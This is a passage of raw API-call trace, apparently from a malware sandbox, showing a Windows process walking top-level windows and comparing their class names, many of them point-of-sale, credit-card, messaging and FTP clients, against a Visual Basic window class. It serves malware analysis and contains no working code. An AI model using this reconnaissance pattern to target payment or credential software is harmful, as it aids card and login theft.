(lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.434] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0128.434] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0128.434] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.434] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0128.434] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.434] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0128.434] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0128.434] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0128.434] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0128.434] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0128.434] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0128.434] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0128.434] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0128.434] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.434] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0128.434] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0128.434] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0128.434] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0128.434] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0128.434] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0128.435] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.435] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0128.435] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0128.435] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0128.435] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0128.435] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0128.435] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.435] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0128.435] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0128.435] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0128.435] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0128.435] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0128.435] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.435] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0128.435] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0128.435] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0128.435] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0128.435] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0128.435] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.435] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0128.435] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0128.435] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0128.435] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0128.435] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0128.435] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0128.435] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0128.436] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0128.436] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0128.436] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0128.436] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0128.436] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0128.436] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0128.436] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0128.436] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0128.436] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0128.436] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0128.436] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0128.436] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0128.436] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0128.436] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0128.436] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.436] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0128.436] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0128.436] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0128.436] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0128.436] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0128.436] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0128.436] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0128.437] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0128.437] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0128.437] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0128.437] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0128.437] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0128.437] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0128.437] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0128.437] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0128.437] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0128.437] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0128.437] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0128.437] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0128.437] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0128.437] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0128.437] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0128.437] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0128.437] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0128.437] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0128.437] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0128.437] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0128.437] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.437] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0128.438] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0128.438] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0128.438] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0128.438] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0128.438] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0128.438] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0128.438] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0128.438] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0128.438] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0128.438] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0128.438] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0128.438] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0128.438] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0128.438] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0128.438] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0128.438] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0128.438] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0128.438] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0128.438] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0128.438] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.438] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.438] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0128.439] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0128.439] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0128.439] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0128.439] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0128.439] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.439] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0128.439] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0128.439] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0128.439] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0128.439] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0128.439] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.439] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0128.439] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0128.439] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0128.439] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0128.439] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0128.439] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.439] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0128.439] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0128.439] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0128.439] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0128.439] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0128.439] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.439] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.439] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0128.440] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0128.440] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0128.440] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0128.440] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0128.440] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.440] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0128.440] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0128.440] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0128.440] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0128.440] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0128.440] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.440] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0128.440] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0128.440] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0128.440] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0128.440] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0128.440] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.440] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0128.440] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0128.440] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0128.440] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0128.440] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0128.440] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.440] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.440] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0128.441] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0128.441] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0128.441] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0128.441] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0128.441] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0128.441] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0128.441] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0128.441] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0128.441] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0128.441] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0128.441] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0128.441] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0128.441] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0128.441] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0128.441] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0128.441] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0128.441] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0128.441] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0128.441] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0128.441] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0128.441] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.441] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0128.442] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0128.442] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0128.442] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0128.442] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0128.442] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.442] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0128.442] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0128.442] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0128.442] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0128.442] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0128.442] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.442] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0128.442] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0128.442] GetClassNameA (in: hWnd=0x101d8, 